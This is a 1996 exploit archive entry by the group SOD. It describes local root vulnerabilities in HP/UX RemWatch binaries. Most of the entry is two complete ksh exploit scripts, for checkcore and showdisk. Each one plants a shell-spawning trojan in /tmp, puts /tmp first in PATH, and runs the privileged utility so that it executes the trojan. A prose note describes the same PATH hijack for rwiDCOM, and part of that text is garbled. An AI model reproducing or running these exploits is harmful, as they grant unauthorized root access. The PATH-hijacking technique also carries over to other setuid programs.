More SOD HP/UX RemWatch vulnerabilities
Description: | A number of internal HP/UX RemWatch binaries, including checkcore, rwiDCOM, and showdisk are vulnerabile. Several exploits included |
Author: | SOD (sod@command.com.inter.net) |
Compromise: | root (local) |
Vulnerable Systems: | HP/UX with vulnerable RemWatch binaries, probably 9.x, 10.x |
Date: | 6 November 1996 and earlier |
Notes: | See the SOD HP Bug of the Week page |
Exploit:
---exploit 1 checkcore
#!/bin/ksh
# SOD (as of 06/11/96)
# same sorta bug, different file.
if [ ! -x /usr/remwatch/bin/fmon/checkcore ]
then
echo This is an exploit for the checkcore utility internal to
echo HP\'s Remote Watch series of programs.
echo The checkcore utility doesn\'t appear to be on your system.
echo Moo
exit
fi
PGM=$*
if [ -z "${PGM}" ]
then
PROGGIE=`basename $0`
echo "${PROGGIE}: I will run a shell for you"
PGM="/bin/ksh -i"
fi
TTY=`tty`
echo '#!/bin/ksh' > /tmp/find
echo "${PGM} >> ${TTY} 2>&1" >> /tmp/find
chmod 777 /tmp/find
PATH=/tmp:$PATH
export PATH
/usr/remwatch/bin/fmon/checkcore > /dev/null 2>&1
rm /tmp/find
--exploit 2 rwiDCOM
An older problem with rwiDCOM -- do something like:
cat >/tmp/telnet <Datacomm Screen, and select
telnet to localhost. It'll follow the new PATH straight into /tmp/telnet.
--exploit #3 showdisk
#!/bin/ksh
# remwatch showdisk exploit, before the patch
# Silly-Scriptor/Salty, SOD
# (as of 11Jun96)
if [ ! -x /usr/remwatch/bin/disks/showdisk ]
then
echo This is an exploit for the showdisk utility internal to
echo HP\'s Remote Watch series of programs.
echo The showdisk utility doesn\'t appear to be on your system.
echo Moo
exit
fi
PGM=$*
if [ -z "${PGM}" ]
then
PROGGIE=`basename $0`
echo "${PROGGIE}: I will run a shell for you"
PGM="/bin/ksh -i"
fi
TTY=`tty`
echo '#!/bin/ksh' > /tmp/bdf
echo "${PGM} >> ${TTY} 2>&1" >> /tmp/bdf
chmod 777 /tmp/bdf
PATH=/tmp:$PATH
export PATH
/usr/remwatch/bin/disks/showdisk arg arg /dev/null arg > /dev/null 2>&1
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